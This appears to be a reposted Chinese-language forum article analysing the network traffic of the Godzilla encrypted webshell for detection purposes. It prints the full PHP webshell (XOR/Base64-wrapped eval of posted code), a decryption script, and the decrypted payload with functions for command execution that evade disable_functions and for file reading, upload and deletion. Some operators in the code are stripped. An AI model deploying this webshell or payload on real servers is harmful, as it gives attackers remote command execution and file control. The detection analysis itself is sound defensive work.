標題:webshell 流量分析

taibeihacker

Moderator

webshell 流量分析​

本文以哥斯拉和冰蠍為例,對上述兩個在攻防對抗中常用的加密型webshell 的流量進行分析。

1 Godzilla​

由於哥斯拉在處理jsp 和php 時加密方式存在差異,本文將從php 版的shell 展開,對其運行原理再做一下總結和闡述。首先,生成一個php 靜態webshell,加密器選擇PHP_XOR_BASE64。

1.1 HTTP 请求头特征​

1.1.1 User-Agent​

哥斯拉客戶端使用JAVA 語言編寫,在默認的情況下,如果不修改User-Agent,User-Agent 會類似於Java/11.0.7(具體什麼版本取決於JDK 環境版本)。但是哥斯拉支持自定義HTTP 頭部,這個默認特徵是可以很容易去除的。

1.1.2 Accept​

Accept 頭為text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
對這個默認特徵應該很熟悉了,之前冰蠍也出現過同樣的Accept。為什麼會這麼巧合出現兩個工具都會出現這個特徵呢,其實這個也是JDK 引入的一個特徵,並不是作者自定義的Accept。同樣的這個默認特徵也可以通過自定義頭部去除,只能作為默認情況下的輔助檢測特徵。
20210328125135.png-water_print

1.2 请求体特征​

1.2.1 PHP_XOR_BASE64​

20210328125615.png-water_print

以默認shell 的密碼和密鑰為例,生成的文件如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
?php
session_start();
@set_time_limit(0);
@error_reporting(0);
function E($D,$K){
for($i=0;$istrlen($D);$i++) {
$D[$i]=$D[$i]^$K[$i+115];
}
return $D;
}
function Q($D){
return base64_encode($D);
}
function O($D){
return base64_decode($D);
}
$P='pass';
$V='payload';
$T='3c6e0b8a9c15224a'; //md5(key)[:16]
if (isset($_POST[$P])){
$F=O(E(O($_POST[$P]),$T));
if (isset($_SESSION[$V])){
$L=$_SESSION[$V];
$A=explode('|',$L);
class C{public function nvoke($p) {eval($p.'');}}
$R=new C();
$R-nvoke($A[0]);
echo substr(md5($P.$T),0,16);
echo Q(E(@run($F),$T));
echo substr(md5($P.$T),16);
}else{
$_SESSION[$V]=$F;
}
}
其中比較核心的地方有兩處,第一處是進行異或加密和解密的函數E($D,$K),第二處是嵌套的兩個if 對哥斯拉客戶端上傳的代碼做執行並得到結果。
根據$F=O(E(O($_POST[$P]),$T));第21 行做逆向判斷,可以得到哥斯拉客戶端上傳代碼時的編碼加密過程:
原始代碼- Base64 編碼- E 函數進行異或加密- 再Base64 編碼
進入第二個if 語句,首先判斷$_SESSION[$V] 是否存在,客戶端首次連接shell 時會在$_SESSION 中保存一段代碼,叫payload。結合後面的run 函數,這個payload 在後續shell 連接過程中會被調用。整個shell 的運行原理到這里基本就能明確了,可以用一篇文章中的流程圖來總結:
20210328130431.png-water_print

在客戶端上配置代理,利用Burp 查看下webshell 的交互流量。
在客戶端首次連接時,會有連續三個請求,第一個請求如下:
20210328143609.png-water_print

根據上述分析的加密原理,可以寫一個簡單的解密腳本,將pass 數據進行解密:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
?php
function E($D,$K){
for($i=0;$istrlen($D);$i++) {
$D[$i]=$D[$i]^$K[$i+115];
}
return $D;
}
function O($D){
return base64_decode($D);
}
$P='pass';
$V='payload';
$T='3c6e0b8a9c15224a'; //md5(key)[:16]
echo O(E(O('要解密的數據'), $T));
?
解密得到的數據為:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
?php
$parameters=array();
function run($pms){
formatParameter($pms.'ILikeYou='.base64Encode('metoo'));
if ($_SESSION['bypass_open_basedir']==true){
@bypass_open_basedir();
}
return base64Encode(evalFunc());
}
function bypass_open_basedir(){
//.
}
function formatParameter($pms){
global $parameters;
$pms=explode('',$pms);
foreach ($pms as $kv){
$kv=explode('=',$kv);
if (sizeof($kv)=2){
$parameters[$kv[0]]=base64Decode($kv[1]);
}
}
}
function evalFunc(){
@session_write_close();
$className=get('codeName');
$methodName=get('methodName');
if ($methodName!=null){
if (strlen(trim($className))0){
if ($methodName=='includeCode'){
return includeCode();
}else{
if (isset($_SESSION[$className])){
return eval($_SESSION[$className]);
}else{
return '{$className} no load';
}
}
}else{
return $methodName();
}
}else{
return 'methodName Is Null';
}
}
function deleteDir($p){
$m=@dir($p);
while(@$f=$m-read()){
$pf=$p.'/'.$f;
@chmod($pf,0777);
if((is_dir($pf))($f!='.')($f!='.')){
deleteDir($pf);
@rmdir($pf);
}else if (is_file($pf)($f!='.')($f!='.')){
@unlink($pf);
}
}
$m-close();
@chmod($p,0777);
return @rmdir($p);
}
function deleteFile(){
$F=get('fileName');
if(is_dir($F)){
return deleteDir($F)?'ok':'fail';
}else{
return (file_exists($F)?@unlink($F)?'ok':'fail':'fail');
}
}
function copyFile(){
$srcFileName=get('srcFileName');
$destFileName=get('destFileName');
if (@is_file($srcFileName)){
if (copy($srcFileName,$destFileName)){
return 'ok';
}else{
return 'fail';
}
}else{
return 'The target does not exist or is not a file';
}
}
function moveFile(){
$srcFileName=get('srcFileName');
$destFileName=get('destFileName');
if (rename($srcFileName,$destFileName)){
return 'ok';
}else{
return 'fail';
}
}
function getBasicsInfo()
{
//.
}
function getFile(){
//.
}
function readFileContent(){
$fileName=get('fileName');
if (@is_file($fileName)){
if (@is_readable($fileName)){
return file_get_contents($fileName);
}else{
return 'No Permission!';
}
}else{
return 'File Not Found';
}
}
function uploadFile(){
$fileName=get('fileName');
$fileValue=get('fileValue');
if (@file_put_contents($fileName,$fileValue)!==false){
return 'ok';
}else{
return 'fail';
}
}
function newDir(){
$dir=get('dirName');
if (@mkdir($dir,0777,true)!==false){
return 'ok';
}else{
return 'fail';
}
}
function newFile(){
$fileName=get('fileName');
if (@file_put_contents($fileName,'')!==false){
return 'ok';
}else{
return 'fail';
}
}
function execCommand(){
$result='';
$command=get('cmdLine');
$PadtJn=@ini_get('disable_functions');
if (! empty($PadtJn)) {
$PadtJn=preg_replace('/[, ]+/', ',', $PadtJn);
$PadtJn=explode(',', $PadtJn);
$PadtJn=array_map('trim', $PadtJn);
} else {
$PadtJn=array();
}
if (FALSE !==strpos(strtolower(PHP_OS), 'win')) {
$command=$command . ' 21\n';
}
if (is_callable('system') and ! in_array('system', $PadtJn)) {
ob_start();
system($command);
$result=ob_get_contents();
ob_end_clean();
} else if (is_callable('proc_open') and ! in_array('proc_open', $PadtJn)) {
$handle=proc_open($command, array(array('pipe','r'),array('pipe','w'),array('pipe','w')),$pipes);
$result=NULL;
while (! feof($pipes[1])) {
$result .=fread($pipes[1], 1024);
}
@proc_close($handle);
} else if (is_callable('passthru') and ! in_array('passthru', $PadtJn)) {
ob_start();
passthru($command);
$result=ob_get_contents();
ob_end_clean();
} else if (is_callable('shell_exec') and ! in_array('shell_exec', $PadtJn)) {
$result=shell_exec($command);
} else if (is_callable('exec') and ! in_array('exec', $PadtJn)) {
$result=array();
exec($command, $result);
$result=join(chr(10), $result) . chr(10);
} else if (is_callable('exec') and ! in_array('popen', $PadtJn)) {
$fp=popen($command, 'r');
$result=NULL;
if (is_resource($fp)) {
while (! feof($fp)) {
$result .=fread($fp, 1024);
}
}
@pclose($fp);
} else {
return 'none of proc_open/passthru/shell_exec/exec/exec is available';
}
return $result;
}
function execSql(){
//.
}
function pdoExec($databaseType,$host,$port,$username,$password,$execType,$sql){
//.
}
function base64Encode($data){
return base64_encode($data);
}
function test(){
return 'ok';
}
function get($key){
global $parameters;
if (isset($parameters[$key])){
return $parameters[$key];
}else{
return null;
}
}
function includeCode(){
@session_start();
$classCode=get('binCode');
$codeName=get('codeName');
$_SESSION[$codeName]=$classCode;
@session_write_close();
return 'ok';
}
function base64Decode($string){
return base64_decode($string);
}
?
傳輸的腳本很長,包含run、bypass_open_basedir、formatParameter、evalFunc 等二十多個功能函數,具備代碼執行、文件操作、數據庫操作等諸多功能。
可以發現該條數據包並沒有回包,可以作為流量識別的其中一個特徵。
第二條數據包及解密情況如下:
20210328144313.png-water_print
 
返回
上方